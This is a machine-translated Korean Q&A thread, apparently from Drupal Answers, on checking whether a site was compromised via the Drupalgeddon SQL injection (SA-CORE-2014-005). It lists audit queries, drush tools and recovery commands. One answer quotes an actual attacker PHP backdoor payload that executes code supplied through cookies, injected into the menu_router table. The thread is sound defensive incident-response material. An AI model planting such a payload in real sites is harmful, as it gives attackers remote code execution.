Drupal SA-CORE-2014-005-서버 / 사이트가 손상되었는지 확인하는 방법


40

방금 Drupal SA-CORE-2014-005 익스플로잇을 해결하는 패치 방법을 사용하여 모든 사이트를 업데이트했습니다. 방금 어제 러시아 IP에 침투 한 드루팔 사이트에 누군가가 있다는 보고서를 읽었습니다.

https://www.drupal.org/SA-CORE-2014-005

나의 주요 관심사는 이제 :

  • 내 사이트가 구성되었는지 어떻게 알 수 있습니까?
  • 내 사이트가 피해자인지 아닌지를 감지하려면 아파치 액세스 로그에서 무엇을 검색해야합니까?
  • 지금까지이 해커들은 사이트를 구성하기 위해 무엇을하고 있습니까?

7
그위한 모듈은 이제있다 drupal.org/project/drupalgeddon
mikeytown2

100 개의 드루팔 사이트에 별칭을 설정하지 않으면 어떻게됩니까? 무엇을 찾아야하는지 알아 내기 위해 어떤 일반적인 해킹이 있습니까?
Patoshi パ ト シ


1
@duckx drupalgeddon 모듈의 코드를 확인하면 일반적인 해킹을 찾을 수 있습니다. 악의적 인 사용자가 데이터베이스에 대한 모든 액세스 권한으로 수행 할 수있는 모든 변경 사항을 명백한 이유로 나열 할 수는 없습니다. 그들은 Drupal mysql 사용자가 할 수있는 권한을 가진 모든 것을 변경할 수 있습니다 . 문자 그대로 확실하게 말할 수있는 유일한 방법은 현재 데이터베이스를 알려진 올바른 버전과 비교하는 것입니다. 당신이 안정적으로 100 % 정확하게 사이트가 해킹되었는지 여부를 알려줍니다 밀어 버튼을 찾고 있다면, 당신은 : 난 두려워 꿈을 꾸고있어
클라이브

더키 : 별칭을 설정하지 않고 100 개의 사이트를 보유한 경우 수동으로 처리하는 것보다 별칭을 설정하는 것이 더 쉬울까요? 자신에게 사이트 루트 및 URL 목록을 가져 오면 거기에서 일련의 별칭으로 만들 수 있습니다.
Chris Burgess

답변:


6

다음은 관리자 권한이있는 사용자를 확인하기 위해 사이트 DB에 대해 실행할 수있는 SQL 쿼리와 10 월 15 일 이후에 사이트에 액세스 한 SQL 쿼리입니다.

http://www.drupalden.co.uk/sql-queries-find-users-roles-admin-privileges-drupalgeddon-drupal-sa-core-2014-005


1
Drupal Answers에 오신 것을 환영합니다. 제공된 페이지를 약간 요약하여 답변을 향상시킬 수 있습니다.
Wtower

Btw는 10 월 15 일 이후에 생성 된 사용자를 확인하는 것이 좋습니다. 이것은 createdusers 테이블 의 필드를 사용 합니다. SQL을 주입 한 사람이 필드의 값을 존중한다고 보장 할 수 없으므로이 검사는 그다지 유용하지 않습니다. 실제로, 이름 drupaldev으로 일반적인 사용자 주입이 44 주 전에 만들어진 것으로 나타났습니다. 두 번째 권장 사항에 따르면, 다시 주입 된 사용자가 실제로 로그인했음을 보증하지 않습니다.
Wtower

29

이 기사를 읽고 익스플로잇이 착륙 한 후 한 달 이상 Drupal 7 사이트를 확인하려면 사이트가 이미 해킹 당했을 가능성이 높습니다 . 가장 좋은 방법은 공격이 시작되기 전에 백업을 복원하고 거기서 시작하는 것입니다.

SA-CORE-2014-005에 대한 FAQ 가 있습니다 .

내 사이트가 손상되었는지 어떻게 알 수 있습니까?

사이트가 손상되었는지 빠르게 확인하는 한 가지 방법은 Drupalgeddon drush 명령을 사용하는 것입니다.

당신에 설치 ~/.drushdrush dl drupalgeddon

그런 다음 drush drupalgeddon-test테스트에 사용하십시오 . Drush aliases는 이것을 쉽고 빠르게 만듭니다.

이 도구는 악용 된 사이트를 확인할 수 있지만 사이트가 악용되지 않았 음을 보장 할 는 없습니다. 공격이 시작되기 전에 업그레이드하지 않으면 여기에 "청정 상태"가 없습니다.


사이트 감사 모듈에는 Drupalgeddon의 일부 검사가 포함되어 있으며 훨씬 더 유용한 정보를 제공합니다. 나는 그것을 강력히 추천합니다. (편집 : 이제 그들은 함께 일합니다-아주 좋습니다!)


보안 검토는 Drupalgeddon 공격을 확인하지 않지만 툴 벨트에도 가치가 있습니다.


사이트 코드베이스가 www 사용자에게 작성 가능한 경우 해킹 된 모듈을 사용하여 수정 된 코드를 추가로 확인할 수 있습니다. 이 모듈은 이름만으로 생각하는 것을 수행하지 않을 수 있습니다. :)


손상된 모든 사이트를 식별 할 수있는 특정 방법은 없지만 이러한 도구를 사용하면 가장 일반적인 표시를 식별 할 수 있습니다.


내 사이트가 피해자인지 아닌지를 감지하려면 아파치 액세스 로그에서 무엇을 검색해야합니까?

액세스 로그에는 지금까지 많은 POST 요청이 포함됩니다. 버그 이전에 모든 게시물 데이터를 기록하는 비정상적인 단계를 수행하지 않았다면,이 중 어느 것이 악성인지 알 수있는 정보는 없을 것입니다.

지금까지이 해커들은 손상된 사이트에 대해 무엇을하고 있습니까?

많은 사람들이 자신의 사이트가 해커에 의해 패치되고 있다고보고합니다! 공격자로서 이것은 의미가 있습니다- 다음 공격자가 새로 하이재킹 한 사이트를 당신 아래에서 채취하지 않기를 바랍니다. :)

그 외에는 사이트가 귀중한 데이터가 무엇이든 수집하고 (일부 신용 카드를 얻거나 악용 후 거래 세부 정보를 해제 할 수 있음) 스팸을 보내는 것과 같은 지루한 일을하고 겸손한 봇넷 슬레이브로 작동하는 데 사이트가 사용되고 있다고 생각 합니다. 아, 그리고 납치 된 드루팔 사이트의 공격자의 제국을 더욱 확장 시키십시오. (죄송합니다. 해킹 된 사이트는 없습니다.)


당신은 명확히 할 수 있습니까? 공격이 항상 POST 요청으로 시작됩니까? POST에 대한 로그를 검사하고 있습니다. 내가 패치 한 후 IP 62.76.191.119에서 하나를 발견했습니다.
랜스 홀랜드

이 악용의 대상이 된 사이트가 있으며 공격자가이 사이트를 사용하여 서버에서 수많은 스팸을 보내는 것으로 보였습니다.
Cyclonecode

24

일반적인 공격에 대한 몇 가지 검사는 다음과 같습니다 (전체 목록은 아니지만 지금까지 야생에서 볼 수있는 공격 중 일부 임).

  • 사용자 1 계정을 확인하여 사용자 이름, 이메일 주소 또는 비밀번호가 예상 한 것인지 확인하십시오. 가능한 경우 높은 수준의 권한이있는 다른 사용자 계정도 확인하십시오.
  • 의심스러운 새 사용자 계정이 있는지 확인하십시오.
  • 시스템의 역할 (예 : 새 역할 또는 이름이 바뀐 역할)의 변경 사항을 확인하십시오.
  • 권한 변경을 확인하십시오. 이것의 가장 중요한 측면은 익명의 사용자 역할 (또는 누구나 가입하기 위해 자신이 가입 할 수있는 다른 역할)이 액세스 권한을 높이도록 변경되지 않았는지 확인하는 것입니다.
  • 악성 코드를 포함 할 수있는 새로운 사용자 정의 블록을 확인하십시오.
  • 악성 코드를 포함 할 수있는 새 사용자 정의 노드를 확인하십시오.
  • 파일 시스템에 없어야 할 파일을 확인하십시오. 버전 제어를 사용하면 git status 또는 svn st를 수행하여 새 파일이 있는지 확인할 수 있기 때문에 쉽습니다.
  • 그들이 악성 파일을 업로드 한 경우, 익숙하지 않은 이상한 파일 이름에 대한 조회를 액세스 로그에서 확인할 수 있습니다.
  • 메뉴 라우터 데이터베이스 테이블에서 악성 항목이 있는지 확인하십시오. 예를 들면 다음과 같습니다 (drupal.org의 drupalgeddon 모듈 / 드 러쉬 플러그인에는이 테이블을보다 철저하게 검사하는 데 유용한 스크립트가 있습니다).

    select * FROM menu_router 어디에서 access_callback = 'file_put_contents';

  • 이상한 항목을 찾기 위해 메뉴 라우터 테이블을 찾아 볼 수도 있습니다.

해커가 수행하려고하는 작업은 다음과 같습니다.

  • PHP 스크립트 파일을 사이트에 넣고 브라우저에서 파일을 쳐서 실행할 수 있습니다. 이 스크립트는 광범위한 악의적 인 작업을 수행 할 수 있습니다. 이것은 악성 메뉴 라우터 항목을 추가하여 달성됩니다.
  • 관리자 계정을 만들어 사이트에 나쁜 일을하거나 사이트를 인수하는 데 사용하십시오.
  • 사용자 1 이메일 주소를 변경하여 해당 계정에 대한 비밀번호를 재설정하고 대신 할 수 있습니다.
  • 공개적으로 액세스 가능한 사용자 역할에 대한 권한을 변경하십시오.
  • 블록 / 노드 등을 추가하십시오. 악성 코드가 포함되어있을 수 있습니다. PHP 필터를 활성화하면 더 많은 문제가 발생합니다.

불행히도 침입자가 데이터베이스에 대해 할 수있는 일이 너무 많아서 가능한 전체 목록을 제공하기가 매우 어렵습니다. 그들은 사이트를 제어하려고하는 일을 할 수도 있고, 데이터베이스 테이블이나 열 등을 삭제하면서 사이트를 중단시킬 수도 있습니다.

사이트 이름을 변경하는 것과 같이 사이트 구성을 아주 조금만 변경할 수도 있습니다. 세상의 종말은 아니지만 여전히 문제가 있습니다.

기본적으로 공격자는 이론적으로 SQL 명령을 실행하여 데이터베이스에서 수행 할 수있는 모든 작업을 수행 할 수 있습니다.

Chris Burgess의 답변에 언급 된 모든 모듈은 이러한 것들을 확인하는 데 매우 유용합니다.


1
62.76.191.119에 맞았을 것입니다. 일반적 으로이 IP는 menu_router 및 가능하면 다른 불쾌한 것들을 통해 docroot에 파일을 배치하려고하는 것처럼 보입니다. drupal.org/node/2357241 에서 주석을 읽을 수 있습니다 .
scor

내 사이트에 대한 조사가 지금까지 보여준 한, 나는 어느 누구에게도 맞지 않았습니다. OP에 도움이되는 정보 일뿐입니다.
rooby

"메뉴 라우터 데이터베이스 테이블에서 악의적 인 항목을 확인하십시오."는 어떻게합니까? centos 서버에 임하고 있으며 루트가 있습니다.
Patoshi パ ト シ

데이터베이스 명령 "SELECT * FROM menu_router"를 실행 한 다음 모든 행을 트롤링하여 행이 아닌 행을 확인할 수 있습니다. 내 대답에는 서버에 파일을 업로드하는 데 사용되는 알려진 특정 공격을 찾는 더 구체적인 명령도 있습니다.
rooby

해당 IP 62.76.191.119는 보안 업데이트가 릴리스 된 후 하루 이내에 내 사이트의 취약성을 악용하려고합니다. 모든 사이트에서 금지되었습니다. 제 시간에 사이트를 업그레이드 한 것은 매우 행운이었습니다. 알파벳 순서로 내 사이트를 방문했기 때문에 이상했습니다.
cayerdis

10

나는 drupal.org의 조언을 따를 것이라고 생각한다. " 당신은 모든 Drupal 7 웹 사이트가 UTC 7 월 10 일 오후 11시 15 분 이전에 업데이트되거나 패치되지 않는 한, 발표 후 7 시간이 지나지 않았다는 가정하에 진행해야한다 ." 으로 베번이 이 말했다 의견 "업데이트 또는 드루팔은 공격자가 업데이트 또는 드루팔을 패치하기 전에 설치 한 백도어가 해결되지 않는 패치."

Bevan 은 또한 다음 워크 플로 차트를 작성하여 감염되었을 수 있는지 분석하고 복구 및 예방 방법을 분석 할 수 있습니다 . 그러나 모든 사람에게 최신 버전의 워크 플로를 제공하기 위해 원본 기사 로 이동하도록 요청 합니다. 또한 Acquia 는 Acquia Cloud에서 경험 한 공격 및 패턴에 대한 흥미로운 기사 를 작성합니다.

 취약한 지 여부, 감염되었을 수있는 경우 및 복구 방법을 이해하는 순서도


4

인용 : https://www.drupal.org/node/2357241#comment-9258955

다음은 menu_router 테이블 access_callback 열에 삽입되는 파일의 예입니다.

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

보시다시피 files / image / vzoh.php 파일을 만들려고하지만 php가 실패하는 디렉토리 안에 읽기 권한 만 있기 때문에.

drupal 디렉토리에서 검색을 통해 생성 된 유사한 파일을 찾는 사람들에 대한 보고서 : https://www.drupal.org/node/2357241#comment-9260017


내가 한 것은 다음 명령을 수행하는 것입니다.

ack --type = php 'php \ $ form'> hacked_searched_php_form1.txt

==================

인용 : http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

라이브 서버에서 변경된 파일 표시 : git status

menu_router를 통한 코드 실행 시도 찾기 : select * from menu_router 여기서 access_callback = 'file_put_contents'

버전 제어가 아닌 라이브 서버에있는 파일 표시 : diff -r docroot repo | grep docroot | grep 'docroot에서만'

files 디렉토리에서 PHP 파일 찾기 : find. -경로 "* php"

사용자가 사이트에 로그인 한 시간과 최근 페이지 방문 사이의 시간 확인 : (s.timestamp-u.login) / 60/60/24 AS days_since_login, u.uid 세션의 내부 참여 사용자 u에서 s.uid = u.uid;


3

당신이 비난을 받았는지 알려주는 매우 훌륭한 명령 목록.

http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status 
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));

1
별도의 답변을 제공하는 대신 첫 번째 답변을 편집하고 추가 정보를 추가해야합니까?
Cyclonecode

당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.